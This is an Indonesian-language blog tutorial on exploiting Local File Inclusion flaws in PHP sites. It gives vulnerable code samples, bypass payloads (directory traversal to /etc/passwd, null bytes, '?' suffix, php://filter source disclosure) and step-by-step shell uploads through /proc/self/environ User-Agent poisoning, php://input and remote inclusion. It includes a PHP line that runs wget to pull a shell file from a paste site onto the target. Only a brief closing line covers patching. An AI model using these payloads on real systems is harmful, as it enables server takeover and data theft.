ok kali ini w mau bahas tentang Local File Inclusion atau disingkat LFI, ( mungkin ) beberapa orang udah banyak yang tau dengan proof ini.
Apa itu Bug LFI ?
Bug LFI adalah Bug yang bisa membuat user biasa membuka file² berbahaya seperti /etc/passwd, dan bisa juga melakukan Remote Code Execution atau RCE ke dalam website.
Download dulu file yang udah gua sediain dibawah buat ikut uji coba LFI
Bypass File didalam Directory :
Kira kira codingannya seperti ini :
<?php
$page = "page/" . $_GET["page"];
if (isset($page)){
include $page;
}else{
echo "Home Page Website Tester";
}
?>
note : artinya semua file yang ingin di include, harus berada di folder /page/
banyak developer yang memasukan semua file ke dalam directory tertentu untuk di enclude, cara bypassnya cukup simple yaitu menambahkan .. = ../etc/passwd. Fungsi untuk apa ? mungkin yang user linux udah pada tau, fungsi untuk keluar dari directory tersebut. Jika ../etc/passwd tidak bisa karena file tidak ditemukan, kalian tambahan tros sampai kalian berada di directory ( root ) atau akhir, dan bisa mengakses /etc/passwd
Bypass File di Blacklist atau dilarang :
Kira kira codingannya seperti ini :
<?php
$blacklist = ["/etc/passwd","/proc/self/environ"];
$page = $_GET["page"];
if (isset($page)){
if (!in_array($page, $blacklist)){
include $page;
}
}else{
echo "Home Page Website Tester";
}
?>
Blacklist itu apa sih ? Blacklist bisa diartikan anak nakal yang sering membuat rusuh dan namanya akan diblacklist oleh guru BK, sama hal dengan Web namun disini yang diblacklist itu file bukan anak kecil lagi :v.
Cara Bypassnya gimana ?
Kalian memanipulasi dengan menambahkan Null Bytes yaitu %2500 atau %00 diakhir,
contoh :
/etc/passwd%2500
/etc/passwd%00
Bypass File Harus Ber Extension .html atau .php :
Kira kira codingannya seperti ini :
<?php
$page = $_GET["page"] . ".php";
if (isset($page)){
include $page;
}else{
echo "Home Page Website Tester";
}
?>
Bypass tinggal tambahin (?) di akhir file, example /etc/passwd? supaya file yang ditambahkan dibelakang tidak ter eksekusi jadi tetep /etc/passwd, kalo tanpa (?) nanti akan berubah menjadi /etc/passwd.php
Bypass Menggunakan php://filter :
Jika cara diatas engga berhasil kalian mesti coba pake php://filter, pengertian php://filter bisa kalian cari di google terdekat :v
$ php://filter/convert.base64-encode/resource=file.php
$ php://filter/resource=file.php
Lebih lengkap bisa liat disini :
https://www.php.net/manual/en/wrappers.php.php
Fungsi dari php://filter untuk melihat source code dari suatu file lalu di encode supaya file tersebut tidak tereksekusi oleh server.
contoh :
http://localhost:8080/lfi.php?page=php://filter/convert.base64-encode/resource=lfi.php
kita akan melihat source code dari lfi.php yang sudah di encode base64. Kalo harus Ber Extension .html misalnya kalian tinggal tambahin (?) ini juga '-'
Setelah mendapatkan source code, kalian liat apa saja yang dibypass disana ok
Sekarang Cara Eksekusinya ( Upload Shell )
Upload Shell dengan /proc/self/environ dan Tamper Data :
http://example.com/lfi.php?page=/proc/self/environ -> Berhasil muncul seperti berikut :
DOCUMENT_ROOT=/home/*****/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/lfi.php?view=/etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/lfi.php?view=%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/****/public_html/lfi.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
Pada User Agent, kalian Tamper Data dan masukan code
<?php system('wget https://pastebin.com/raw/X8Hj2WXt -O xsec.php');?>
Akses Shell?
http://example.com/xsec.php
or
http://example.com/[path]/xsec.php ( sesuai Vulnerability LFInya )
Upload Shell dengan php://input :
tadi kita menggunakan php://filter sekarang kita menggunakan php://input dan Post Data dan pastikan allow_url_includenya on, http://localhost:8080/lfi.php?page=php://input lalu di Post Datanya kita masukan command RCE contohnya <?php system('uname -a'); ?> maka nanti bakal muncul name server tersebut. Upload shell tinggal masukin code sama seperti tadi
<?php system('wget https://pastebin.com/raw/X8Hj2WXt -O xsec.php');?>
Upload Shell dengan cara http:// :
http://example.com/lfi.php?page=link shell
Pastikan website tersebut allow_url_include = on, ok
Cara Pacthnya?
Kalian bisa membuat whitelist yang berisi apa saja file yang boleh di include menggunakan array seperti membuat blacklist namun ini whitelist dan allow_url_include=off, lalu selesai :v

إرسال تعليق